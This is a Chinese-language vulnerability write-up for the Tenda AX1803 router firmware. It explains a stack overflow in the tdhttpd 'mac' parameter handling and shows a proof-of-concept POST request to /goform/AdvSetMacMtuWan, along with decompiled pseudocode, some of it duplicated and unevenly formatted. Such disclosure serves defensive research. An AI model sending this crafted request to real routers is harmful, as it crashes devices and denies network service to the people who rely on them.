## 一、信息:

厂商: Tenda

产品: AX1803

版本: v1.0.0.1\_2890

# 二、漏洞原理简单介绍:

该漏洞存在于rootfs\_ubif文件系统中的 /bin/tdhttpd 中的/goform/AdvSetMacMtuWan中调用的sub\_8C454函数,

攻击者可以通过访问 <a href="http://ip/goform/AdvSetMacMtuWan">http://ip/goform/AdvSetMacMtuWan</a> 并且通过设置mac

参数可以造成

堆栈缓冲区溢出以达到路由器拒绝服务的效果。

# 三、漏洞poc:

### POST /goform/AdvSetMacMtuWan HTTP/1.1

Host: 192.168.10.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: password=bb507bf3973a97a9bf1267699f712550bkcmji

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

#### mac=a\*num

(备注: num需要大于0XA0h字节,即需要发送的字符数量大于0XA0h即可造成Dos攻击)

## 四、漏洞原理剖析:

#### 首先对固件进行解包:

从厂商官网下载得到固件(<u>https://www.tenda.com.cn/download/detail-3225.html</u>)由于固件未进行任何加密,所以直接通过binwalk 工具(命令:binwalk -Me \*.bin) 对Tenda AX1803 v1.0.0.1\_2890固件进行解包,得到**rootfs ubifs 文件系统。** 

#### 漏洞分析:

(备注:以下代码截图为通过IDA7.6\_Pro\_32位对 rootfs\_ubifs中的 /bin/tdhttpd 文件进行反汇编反编译后得到的伪C语言代码)

当用户访问 /goform/AdvSetMacMtuWan时会进入到fromAdvSetMacMtuWan函数中进行处理

以下为fromAdvSetMacMtuWan函数以及其所调用的sub\_8C454函数的部分伪代码截图及注释:

```
int __fastcall fromAdvSetMacMtuWan(int a1)
  int v1; // r4
 int v3; // r0
 int v4; // r9
 int v6[2]; // [sp+0h] [bp-8h] BYREF
char v7[256]; // [sp+8h] [bp+0h] BYREF
  v1 = 0;
  v6[0] = 0;
  v6[1] = 0;
  memset(v7, 0, sizeof(v7));
  GetValue("wan1.connecttype", v6);
  v3 = atoi(v6);
  v4 = sub_8C1D0(a1, v3);
  if ( atoi(v6) == 2 )
    v1 = sub 8C320(a1);
 if ( v1 | sub_8C454(a1) | v4 )
 {
    snprintf(v7, 0x100u, "op=%d", 22);
    send_msg_to_netctrl(2, v7);
 return sub_55970(a1, "{\"errCode\":0}");
```

Sub\_8C454函数:

```
int __fastcall sub_8C454(int a1)
 const char *Parameter; // r0
 int v3; // r7
 const char *v4; // r0
 const char *v5; // r0
 const char *v6; // r0
 char v8[32]; // [sp+8h] [bp+0h] BYREF
char s[32]; // [sp+28h] [bp+20h] BYREF
 char v10[32]; // [sp+48h] [bp+40h] BYREF
 char v11[32]; // [sp+68h] [bp+60h] BYREF
 char v12[32]; // [sp+88h] [bp+80h] BYREF
 char v13[32]; // [sp+A8h] [bp+A0h] BYREF
 memset(v8, 0, sizeof(v8));
 memset(s, 0, sizeof(s));
 memset(v10, 0, sizeof(v10));
 memset(v11, 0, sizeof(v11));
 memset(v12, 0, sizeof(v12));
 memset(v13, 0, sizeof(v13));
 GetValue("wan.speed", v8);
 GetValue("wan.mac_type", s);
 GetValue("wan.mac", v10);
 Parameter = GetParameter(a1, "wanSpeed", "0");
 strcpy(v11, Parameter);
 if (!strcmp(v8, v11))
 {
   v3 = 0;
 }
 else
 {
               v3 = 0;
             }
             else
               SetValue("wan.speed", v11);
```

```
}
else
{
    SetValue("wan.speed", v11);
    v3 = 1;
}

v4 = GetParameter(a1, "cloneType", "0");
    strcpy(v12, v4);
    v5 = GetParameter(a1, "mac", &byte_1E9CC8);
    strcpy(v13, v5);
```

### 漏洞原理介绍:

其中当我们访问http://ip/goform/AdvSetMacMtuWan 时。rootfs\_ubifs的 /bin/tdhttpd会调用到fromAdvSetMacMtuWan函数,而该函数的运行又会调用到Sub\_8C454函数,在Sub\_8C454函数中,会将post方法提交的mac参数赋值给v5指针,而后直接进入到**漏洞具体所在代码:strcpy(v13,v5)**;

v13为栈上的距离该函数返回地址0xA0H字节的变量

该代码未检验v13变量的边界,导致用户可以通过提交mac参数为超过0XA0H字节的字符串后,覆盖tdhttpd运行过程中的返回地址,使得路由器重启,达到拒绝服务攻击。

```
int __fastcall fromAdvSetMacMtuWan(int a1)
 int v1; // r4
 int v3; // r0
 int v4; // r9
 int v6[2]; // [sp+0h] [bp-8h] BYREF
  char v7[256]; // [sp+8h] [bp+0h] BYREF
 v1 = 0;
 v6[0] = 0;
 v6[1] = 0;
 memset(v7, 0, sizeof(v7));
 GetValue("wan1.connecttype", v6);
 v3 = atoi(v6);
 v4 = sub_8c1D0(a1, v3);
 if (atoi(v6) == 2)
  v1 = sub_8c320(a1);
 if ( v1 | sub_8c454(a1) | v4 )
   snprintf(v7, 0x100u, "op=%d", 22);
   send_msg_to_netctr1(2, v7);
 }
 return sub_55970(a1, "{\"errCode\":0}");
}
```

```
int __fastcall sub_8C454(int a1)
{
  const char *Parameter; // r0
  int v3; // r7
  const char *v4; // r0
  const char *v5; // r0
  const char *v6; // r0
  char v8[32]; // [sp+8h] [bp+0h] BYREF
  char s[32]; // [sp+28h] [bp+20h] BYREF
  char v10[32]; // [sp+48h] [bp+40h] BYREF
  char v11[32]; // [sp+68h] [bp+60h] BYREF
  char v12[32]; // [sp+88h] [bp+80h] BYREF
  char v13[32]; // [sp+A8h] [bp+A0h] BYREF
  memset(v8, 0, sizeof(v8));
  memset(s, 0, sizeof(s));
  memset(v10, 0, sizeof(v10));
  memset(v11, 0, sizeof(v11));
  memset(v12, 0, sizeof(v12));
  memset(v13, 0, sizeof(v13));
  GetValue("wan.speed", v8);
  GetValue("wan.mac_type", s);
  GetValue("wan.mac", v10);
  Parameter = GetParameter(a1, "wanSpeed", "0");
  strcpy(v11, Parameter);
  if (!strcmp(v8, v11))
  {
   v3 = 0;
```

```
else
   SetValue("wan.speed", v11);
  v3 = 1;
 v4 = GetParameter(a1, "cloneType", "0");
 strcpy(v12, v4);
 v5 = GetParameter(a1, "mac", &byte_1E9CC8);
 strcpy(v13, v5);
 if ( strcmp(s, v12) || strcmp(v10, v13) )
   SetValue("wan.mac_type", v12);
   if ((atoi(v12) - 1) > 1)
    return 1;
   GetValue("wan.mac", v10);
   if (!strcmp(v10, v13))
     return 1;
   goto LABEL_8;
 }
 if ( atoi(v12) == 2 )
   SetValue("wan.mac_type", v12);
   GetValue("wan.mac", v10);
   v6 = GetParameter(a1, "mac", &byte_1E9CC8);
   strcpy(v13, v6);
   if ( strcmp(v10, v13) )
   {
LABEL_8:
    SetValue("wan.mac", v13);
     return 1;
  }
 }
 return v3;
```